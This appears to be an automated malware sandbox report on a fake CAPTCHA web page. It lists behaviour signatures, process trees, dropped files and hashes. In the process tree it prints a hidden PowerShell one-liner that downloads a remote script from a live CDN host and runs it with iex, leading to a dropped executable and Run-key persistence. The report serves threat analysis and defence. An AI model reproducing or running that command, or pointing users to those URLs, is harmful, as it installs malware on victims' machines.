Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/10/2024, 12:30

General

  • Target
    https://captcha-easy.b-cdn.net/captcha-entry.html
  • Sample241007-ppynravgpq

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://pingaadioload.b-cdn.net/next/n3.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://captcha-easy.b-cdn.net/captcha-entry.html
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:924
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffed929cc40,0x7ffed929cc4c,0x7ffed929cc58
      2⤵
        PID:1928
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2000,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1996 /prefetch:2
        2⤵
          PID:3444
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1868,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1712 /prefetch:3
          2⤵
            PID:3616
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1724,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2220 /prefetch:8
            2⤵
              PID:1584
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3108,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3136 /prefetch:1
              2⤵
                PID:5024
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3112,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
                2⤵
                  PID:4180
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4576,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4588 /prefetch:8
                  2⤵
                    PID:1580
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4776,i,3025229888898994559,12858303249897742572,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4380 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3936
                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                  1⤵
                    PID:1460
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:1020
                    • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                      "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -command $url = 'https://pingaadioload.b-cdn.net/next/n3.txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text
                      1⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Adds Run key to start application
                      • Drops file in System32 directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3100
                      • C:\Users\Admin\AppData\Roaming\QO5Ol1Na\GBUpdater_[5MB]_[unsign].exe
                        "C:\Users\Admin\AppData\Roaming\QO5Ol1Na\GBUpdater_[5MB]_[unsign].exe"
                        2⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4864
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4864 -s 1380
                          3⤵
                          • Program crash
                          PID:4908
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4864 -ip 4864
                      1⤵
                        PID:1796

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            Network Persistent State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                            • Size 2KB
                            • SHA256 fc425c0c224cfe7497699d41bdeb615e29b41ce0bdfe7ff422912e4c043c2a30
                            • MD5 SHA1 SHA512

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            TransportSecurity

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                            • Size 524B
                            • SHA256 69b599cbe9bb590131c72c2a0432003e6cc1af7dda3954811515760bfde7e35a
                            • MD5 SHA1 SHA512

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 8KB
                            • SHA256 5aa098c193a39200a64f9c4eebf3343874293b70cc3b8cb337fcb1ece67d1475
                            • MD5 SHA1 SHA512 SSDEEP

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 8KB
                            • SHA256 8a27f6704be45ff876ae0b1648247ebdc3884f984b79009aa43511b8728e5ea2
                            • MD5 SHA1 SHA512 SSDEEP

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 8KB
                            • SHA256 8b72cf52fbfa961737421c5948b8a40573d87f248f928209244c4507aac2b457
                            • MD5 SHA1 SHA512 SSDEEP

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 8KB
                            • SHA256 7bff77926f9934fceb20f9ae3544f06d3aee4b2f0171e96051ed27a6f570fd3d
                            • MD5 SHA1 SHA512 SSDEEP

                            Preferences

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                            • Size 8KB
                            • SHA256 699ac0a027c8bc4e0ca54d134a329e0e9c75919da384a22ffda3250b827fdd50
                            • MD5 SHA1 SHA512 SSDEEP

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 116KB
                            • SHA256 a93228569ed101c7aac70ffc1cc2ee14a0c0bb5d4ad1fda1c4cc93714e575e2e
                            • MD5 SHA1 SHA512 SSDEEP

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 116KB
                            • SHA256 a5f30f92068b812560da956ab8542dc6d3befda2135543070a16db2369ebaeda
                            • MD5 SHA1 SHA512 SSDEEP

                            __PSScriptPolicyTest_2r3editw.03z.ps1

                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2r3editw.03z.ps1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512

                            GBUpdater_[5MB]_[unsign].exe

                            • Path C:\Users\Admin\AppData\Roaming\QO5Ol1Na\GBUpdater_[5MB]_[unsign].exe
                            • Size 10.1MB
                            • SHA256 eceadd0abe73245b4e0891d30e5b0cbcdcc541dc87d0a4c362ea6926ab4a8f90
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/3100-65-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-60-0x0000022172E80000-0x0000022172E94000-memory.dmp

                            memory/3100-61-0x00007FFEC4F43000-0x00007FFEC4F45000-memory.dmp

                            memory/3100-63-0x0000022172EA0000-0x0000022172EB2000-memory.dmp

                            memory/3100-68-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-62-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-80-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-64-0x00000221729D0000-0x00000221729DA000-memory.dmp

                            memory/3100-46-0x00007FFEC4F43000-0x00007FFEC4F45000-memory.dmp

                            memory/3100-59-0x0000022172980000-0x00000221729A6000-memory.dmp

                            memory/3100-58-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-57-0x00007FFEC4F40000-0x00007FFEC5A01000-memory.dmp

                            memory/3100-56-0x00000221711C0000-0x00000221711E2000-memory.dmp

                            memory/4864-91-0x00000000006C0000-0x000000000071E000-memory.dmp